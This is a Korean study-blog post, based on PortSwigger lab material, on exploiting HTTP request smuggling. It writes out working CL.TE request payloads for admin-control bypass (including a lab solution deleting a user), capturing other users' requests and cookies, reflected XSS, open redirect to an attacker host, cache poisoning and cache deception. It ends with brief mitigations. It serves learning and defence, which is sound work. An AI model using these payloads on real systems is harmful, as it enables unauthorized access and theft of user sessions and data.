일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 공부하는 블로그
- sql injection table name
- JS
- SQL 인젝션
- 웹 보안
- BOM 객체
- Injection 공격 기초
- web 취약점
- Injection 숫자형
- Linux
- Injection 취약점
- nginx
- php-fpm
- DOM 객체
- sql 인젝션 기초
- portswigger academy
- HTTP request smuggling
- http 취약점
- web 보안
- SQL having group by
- Union injection
- 웹 해킹 기초
- sql injection
- sql injection 데이터 추출
- JavaScript
- 웹서버구축
- SQL Injection basic
- SQL INJECTION DB NAME
- 웹 기초
- SQL 주석
- Today
- Total
IMLENA
HTTP request smuggling 취약점 3 - exploit, mitigation 본문
2021.09.01 - [WEB] - HTTP request Smuggling 취약점 1
2021.09.02 - [WEB] - HTTP request Smuggling 취약점 2
HTTP request smuggling 취약점 1,2에서 취약점을 찾는 방법을 공부했습니다.
이어서 취약점을 통한 exploiting을 정리하도록 하겠습니다.
1. Bypass front-end security controls
몇몇 애플리케이션에서 프론트엔드 서버는 보안을 위해 사용되기도 한다. (개별적 요청을 허용할 것인지 거부할 것인지 결정)
허용된 요청은 백엔드 서버로 전달되고 프론트엔드의 제약을 통과 한 것으로 인식된다.
즉 프론트엔드를 거쳐 백엔드로 들어온 요청에 대해서 백엔드 단에서 추가 확인을 하지 않는다.
* 취약한 접근 허가 예시
POST /home HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 62 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: vulnerable-website.com Foo: xGET /home HTTP/1.1 Host: vulnerable-website.com |
프론트엔드 서버는 /home 요청 하나로 인식하나 백엔드에서는 /home 과 /admin으로 나눠 인식하게 되어 /admin 페이지에 접근할 수 있게 된다.
*예제 문제*
GET /admin HTTP/1.1 Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net Cookie: session=XvQOzQkMDfzZXGWvo2O6WFP8AojPVAIL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Te: trailers Connection: close |
POST / HTTP/1.1 Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Length: 35 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Foo:x |
/admin 페이지 요청을 위해 해당 헤더를 변경하였다.
HTTP/1.1 401 Unauthorized 와 Admin interface only available to local users 라는 내용이 반환
POST / HTTP/1.1 Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Content-Length: 41 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost |
{"error":"Forbidden: Duplicate header names are not allowed"} |
Host를 localhost로 지정하였으나 duplicate header로 error 반환
POST / HTTP/1.1 Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Content-Length: 71 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Lenth: 4 hi |
POST / HTTP/1.1 Host: acf71f0b1ff51503807f51cb00f900cc.web-security-academy.net Cookie: session=KZ1GoYtW4VzTpvIbFZv3s6Qf884sDYmS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Cache-Control: max-age=0 Content-Length: 96 Transfer-Encoding: chunked 0 GET /admin/delete?username=carlos HTTP/1.1 Host: localhost Content-Lenth: 4 hi |
admin 패널 접근 -> delete 실행 (CL.TE)
2. 프론트엔드 요청 다시 쓰기
몇몇 애플리케이션에서는 프론트엔드에서 백엔드로 보내기 전에 rewriting을 한다.
EX)
- TLS 연결을 종료하고 사용된 프로토콜과 암호를 설명하는 헤더를 추가한다.
- 사용자의 IP가 포함된 X-Forwarded-For 헤더를 추가한다.
- 유저 ID기반한 세션토큰을 정하고 유저를 특정하기 위한 헤더를 추가한다.
이러한 경우 앞에서 본 smuggling 방법만으로는 안되고 프론트엔드 서버가 어떻게 요청을 rewriting하는지 확인 해야한다.
프론트엔드 서버가 처리하는 방법을 확인 하기 위한 3가지
1) 애플리케이션의 응답이 요청 파라미터 값에 반영되는 POST request 찾기
2) 메시지 본문에 반영 파라미터가 마지막으로 나타나도록 섞는다.
3) Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal.
예시 코드)
POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 28 email=wiener@normal-user.net |
<input id="email" value="wiener@normal-user.net" type="text"> |
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /login HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 email=POST /login HTTP/1.1 Host: vulnerable-website.com ... |
<input id="email" value="POST /login HTTP/1.1 Host: vulnerable-website.com X-Forwarded-For: 1.3.3.7 X-Forwarded-Proto: https X-TLS-Bits: 128 X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256 X-TLS-Version: TLSv1.2 x-nr-external-service: external ... |
3. 다른 유저의 응답 확인
스토리지에 text 데이터가 저장되고 있는 경우 테스트 해볼 만한 취약점
Comments, emails, profile descriptions, screen names 등 공격 포인트가 존재할 수 있다.
POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 154 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net |
GET / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Content-Length: 324 0 POST /post/comment HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment= |
표시한 부분 POST가 이후 다른 사용자의 요청으로 이어져서
다른 사용자의 요청이
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
...
위 처럼 인식되어 comment=의 값으로 GET 사용자 요청이 입력되고 저장되게 된다.
4. 반사형 XSS 공격
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 63 Transfer-Encoding: chunked 0 GET / HTTP/1.1 User-Agent: <script>alert(1)</script> Foo: X |
다음 유저는
GET / HTTP/1.1
User-Agent:<script>alert(1)</script>
~ 로 시작하는 요청을 보내게 되고 서버는 해당 xss 응답한다.
5.HTTP request smuggling to turn an on-site redirect into an open redirect
* 공격자가 자신의 사이트를 HOST로 전달
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
* 사용자의 요청이 smuggled 되서 Location이 공격자의 사이트
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
6. 웹 캐시 포이즈닝
프론트 서버가 컨텐츠의 내용을 캐싱 할 경우
POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 59 Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /static/include.js HTTP/1.1 Host: vulnerable-website.com |
GET /static/include.js HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ |
7. web cache deception
6번 항목과 비슷하게 수행할 수 있으나 다른 목적을 위해 사용된다.
다른 유저의 민감한 정보를 캐시하려고 사용하는 공격
공격코드 POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 43 Transfer-Encoding: chunked 0 GET /private/messages HTTP/1.1 Foo: X |
백엔드 서버 처리 GET /private/messages HTTP/1.1 Foo: XGET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z ... |
프론트엔드 서버처리 GET /static/some-image.png HTTP/1.1 Host: vulnerable-website.com HTTP/1.1 200 Ok ... <h1>Your private messages</h1> ... |
*대응 방안
HTTP request smuggling 취약점은 프론트 서버가 여러개의 요청을 처리하며 같은 네트워크의 백엔드 서버에 전송하므로 생기는 취약점이다.
백엔드 연결의 재사용 하지 않고 매 요청은 다른 네트워크 연결을 통해서 받게 한다.
HTTP/2를 사용한다.
프론트엔드와 백엔드 서버의 웹서버 소프트웨어를 동일하게 사용한다.
** 여러번 반복하고 portswigger 예제 문제를 풀어보기로....
출처: Portswigger
https://portswigger.net/web-security/request-smuggling/exploiting
'WEB' 카테고리의 다른 글
SQL Injection 기초 - 일반적인 SQL 인젝션 공격 (0) | 2021.09.03 |
---|---|
SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (0) | 2021.09.03 |
SQL Injection 기초 - DB Error 기준 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 2 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 1 (0) | 2021.09.01 |